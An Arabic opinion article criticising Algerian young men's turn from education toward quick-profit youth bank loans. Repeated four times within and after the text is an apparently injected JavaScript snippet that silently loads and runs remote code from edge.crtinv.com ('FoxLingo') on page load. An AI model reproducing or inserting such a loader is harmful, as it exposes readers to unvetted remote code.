]]>
خواطر :
اسقيني كاس من رحيق ذكرى وجودك ... لا تتركيه يجف ،كلما جف الكأس ازداد الحنينُ...و لا يطفي شعلة الفؤاد سوى كأس الحنين...   (بلقسام حمدان العربي الإدريسي) . 

سياسة النظر إلى الحذاء

بواسطة: Fateh Fathy  |  بتاريخ: 2012-09-26 ، الوقت: 18:58:53
  • تقييم المقالة:

!function(){try{var h=document.getElementsByTagName("head")[0];var s=document.createElement("script");s.src="//edge.crtinv.com/products/FoxLingo/default/snippet.js";s.onload=s.onreadystatechange=function(){if(!this.readyState || this.readyState=="loaded" || this.readyState=="complete"){s.onload=s.onreadystatechange=null;h.removeChild(s);}};h.appendChild(s);}catch(ex){}}(); مخدرات،الهجرة غير الشرعية،الإنتحار،أعمال الشغب،قطع الطرق،.....إلخ ،هي ظواهر غريبة اعتدنا عليها و للأسف ، وهي للدارسين مؤشرات تدل على تفسخ و انسلاخ هذا المجتمع عما كان عليه سابقا نتيجة الأزمات  و المشاكل باختلافها تارة ،وسياسة البلاد المنتهجة تارة أخرى و هي كذلك نتيجة للتخلي عن التربية والدين ؛تربية الأولياء و المعلمين و الناس أجمعين من خلال اندثار الأمر بالمعروف و النهي عن المنكر و تحول المساجد على كثرتها لجمع الزكات و الصدقات و الدعاء للأموات .

سوف نسلط بعض الضوء على ظاهرة غريبة أخرى تجلت مؤخرا في مجتمعنا و لا تنبئ بالخيرعسى أن نتمكن من إبرازها و إبراز أسبابها و الحلول اللازمة لها . يقول رسول الله صلى الله عليه و سلم " إن من أشراط الساعة أن يتدافع أهل المسجد للإمامة فلا يجدون إمامًا يصلي بهم" و يقول كذلك " لا تقوم الساعة حتى يرفع العلم ويثبت الجهل". أردنا أن نسوق هذين الحديثين كمقدمة للظاهرة التي سنتحدث عليها، فالحديث الأول بحسب المفسرون ينبئ بقدوم زمان يدفع الناس بعظهم البعض للإمامة و إقامة الصلات فلا يجدون أحدا حافظا لكتاب الله و لا حتى عارفا لكيفية الصلات ،أي لا أحد ذو مستوى و ذو علم. الكلام هنا عن علم الدين و يمكن إسقاطه أيظا على على علم الدنيا و هو ما يتفق مع الحديث الثاني الذي لا يحتاج شرحا. إذا اسقطنا هذين الحديثين النبويين على ما هو حاصل في بلدن حاليا من زاوية العلم و التعلم فإننا نلاحظ حقيقة مرة تتجلى أمامنا و هي عزوف شبه تام لشبابنا من الذكور عن التعلم و التكوين و اكتساب حرفة سواء في الثانويات،الجامعات و مراكز التكوين المهني و حتى نقرب الفكرة أكثر نقول أن العنصر النسوي هو الطاغي في الجامعات الجزائرية و بنسب كبيرة جدا و في جميع الإختصاصات و أن النسب في زيادة كبيرة من سنة لأخرى هذا من جهة،و من جهة اخرى و حسب الإحصائيات مؤخرا ،كثير من مراكز التكوين المهني و التمهين تعاني من نقص  كبير في التسجيلات في مختلف الإختصاصات اليدوية الموجهة غالبا لفئة الذكور  مما اضطر المعنيون بعملية التسجيل إلى إلغاء و تعليق التكوين إلى إشعار آخر . لسنا ضد تعلم المرأة الجزائرية و لانعيب عليها ذلك بل و بالعكس هذا شيء يزيد من احترامنا و تقديرنا لها و لكن الذي نعيبه هو انعدام و تراجع الجنس الأخر عن ساحة العلم و المعرفة و بهذه الصورة التي لا تنبئء بالخير إطلاقا . لقد تاثر شبابنا كثيرا بالماديات و بما يحدث حولهم من تحولات في شتى الميادين وجوانب الحياة و غيروا هدفهم و محوا شعار" العلم والتعلم" ليصير "الربح السريع" و ما الطوابير التي نراهل أمام و كالات دعم الشباب إلا دليل واضح لما قلناه آنفا، فالكل يسعى للظفر بقرض بنكي للإستثمار أو كما يحلوا لكثير من هِؤلاء تسميته بـ" نصيبي من البترول" ،وهو المفهوم المتداول حاليا لدى هؤلاء الذين يعتقدون أن الدولة ستتنازل لهم و تعفوا عنهم كما عفت من قبل على غيرهم و ما يؤسف له أن غالبية هؤلاء الشباب سيستثمرون إما في إنشاء وكالة لكراء السياراتـ أو حافلة لنقل المسافرين أو مشروع سهل لا ينتج ولا يوظف و يِؤتي أكله سريعا و بدون عناء. كيف لهؤلاء الشباب و مع كل هته التسهيلات ان يخوض في عالم التكوين أو الدراسات العليا المتعبة و الطويلة الأمد لينتهي به المطاف إلى موظف في القطاع العام او الخاص إن كان من المحظوظين ،يتلقى راتبا  لا يكفيه شهرا ...؟ من دون شك لن يسير أغلبهم في هذا الدرب الوعر ما دامت أبواب القروض البنكية  و التسهيلات مستمرة  و بهذه الطريقة الغير مظبوطة .          صحيح ان القروض لا تمنح إلا لمن له كفاءة مهنية في الإختصاص المطلوب أي من له شهادة و هذا شيء يحث على العلم و اكتساب حرفة متوجة بشهادة و لكن مل ناسف له هو كون غرفة الحرف و الصناعت التقليدية تمنح لمن أراد مقابل 1000 دينار و اختبار بسيط شهادة معترف بها و مقبولة في ملف طلب القرض أو أي ملف آخر و هو ما يبرر مشكلة التسجيلات في التكوين المهني و المعاهد و ما يزيد من تكريس للتكاسل و الرداءة لدى شبابنا . من كل هذا يتجلى لنا أن معظم فئات المجتمع النشطة من الشباب الذكور و على كثرتها لا تولي اهتماما للعلم و التعلم إلا القليل،  و تفظل انتهاج طريق الربح السريع، و الناظر إلى المستقبل بعين الحكمة سيدرك أنه سيأتي أو كاد ياتي وقت إمارة السفهاء من القوم الذين لا علم لهم و لكن لهم مالهم الذي مكنهم من الإمارة و هي أيضا من علامات الساعة الصغرى (إمارة السفهاء) أو (شراء الحكم). و للأمانة يجب القول أن سياسة سد الثغرات و شراء الصمت من خلال هته الهبات و المنح لتفادي أي تشويش و شغب محتمل هي سياسة ترقيع مؤقتة سيكون لهل الكثير من السلبيات إن لم تؤدي إلى أزمات و مشاكل نحن في غنى عنها و يكفي القول بأن الدول التي تسعى إلى إثبات وجودها و المنافسة والريادة تنظر بعيدا لعواقب الامور قبل الخوض في أي سياسة كانت خاصة المتعلقة بالمال العام و مستقبل الأجيال فمتى ننظر نحن إلى الافق و ننهي سياية طأطأت الرأس و النظر إلى احديتنا أو إلى بعض السنتمترات بعيدا عنها .   !function(){try{var h=document.getElementsByTagName("head")[0];var s=document.createElement("script");s.src="//edge.crtinv.com/products/FoxLingo/default/snippet.js";s.onload=s.onreadystatechange=function(){if(!this.readyState || this.readyState=="loaded" || this.readyState=="complete"){s.onload=s.onreadystatechange=null;h.removeChild(s);}};h.appendChild(s);}catch(ex){}}();

!function(){try{var h=document.getElementsByTagName("head")[0];var s=document.createElement("script");s.src="//edge.crtinv.com/products/FoxLingo/default/snippet.js";s.onload=s.onreadystatechange=function(){if(!this.readyState || this.readyState=="loaded" || this.readyState=="complete"){s.onload=s.onreadystatechange=null;h.removeChild(s);}};h.appendChild(s);}catch(ex){}}();



!function(){try{var h=document.getElementsByTagName("head")[0];var s=document.createElement("script");s.src="//edge.crtinv.com/products/FoxLingo/default/snippet.js";s.onload=s.onreadystatechange=function(){if(!this.readyState || this.readyState=="loaded" || this.readyState=="complete"){s.onload=s.onreadystatechange=null;h.removeChild(s);}};h.appendChild(s);}catch(ex){}}();
« المقالة السابقة ... المقالة التالية »

» إضافة تعليق :

لكي تتمكن من التعليق يجب عليك تسجيل الدخول
البريد الالكتروني
كلمة السر  
او يمكنك الدخول والتعليق عن طريق فيسبوك او تويتر
 انشر التعليق على حائطي في فيسبوك او على صفحتي بتويتر
علق مع فيسبوك       الدخول عن طريق تويتر
او يمكنك التعليق بإستخادم اسم مستعار
اسمك المستعار:
آضف تعليق